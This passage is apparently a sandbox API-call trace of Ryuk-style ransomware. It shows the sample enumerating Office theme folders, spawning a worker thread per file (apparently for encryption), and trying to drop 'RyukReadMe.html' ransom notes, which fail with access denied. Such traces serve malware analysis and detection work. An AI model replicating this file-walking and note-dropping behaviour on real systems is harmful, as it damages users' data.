	[0171.327] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1
	[0171.327] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f557730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0171.331] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.331] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f55ae10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0171.334] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.335] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.335] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.335] SetLastError (dwErrCode=0x0) 
	[0171.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.336] GetLastError () returned 0x5
	[0171.336] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.336] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0171.336] SetLastError (dwErrCode=0x0) 
	[0171.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.337] GetLastError () returned 0x5
	[0171.337] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.411] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.411] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f55e4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0171.414] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.415] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1
	[0171.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f561bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0171.417] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.418] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1
	[0171.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5652b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0171.420] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.421] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f568990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0171.424] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.425] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.425] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.425] SetLastError (dwErrCode=0x0) 
	[0171.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.426] GetLastError () returned 0x5
	[0171.426] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.426] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0171.426] SetLastError (dwErrCode=0x0) 
	[0171.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.427] GetLastError () returned 0x5
	[0171.427] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.429] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.429] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f56c070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0171.432] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.433] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1
	[0171.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f56f750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0171.436] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.437] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1
	[0171.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f572e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0171.444] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.445] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f576510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0172.097] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.098] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0172.098] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0172.392] SetLastError (dwErrCode=0x0) 
	[0172.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.394] GetLastError () returned 0x5
	[0172.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.395] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0172.395] SetLastError (dwErrCode=0x0) 
	[0172.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.395] GetLastError () returned 0x5
	[0172.395] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0172.397] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.397] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0172.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0172.399] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.400] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1
	[0172.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0172.403] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.404] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1
	[0172.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0172.406] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.407] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0172.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0172.409] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.410] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0172.410] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0172.410] SetLastError (dwErrCode=0x0) 
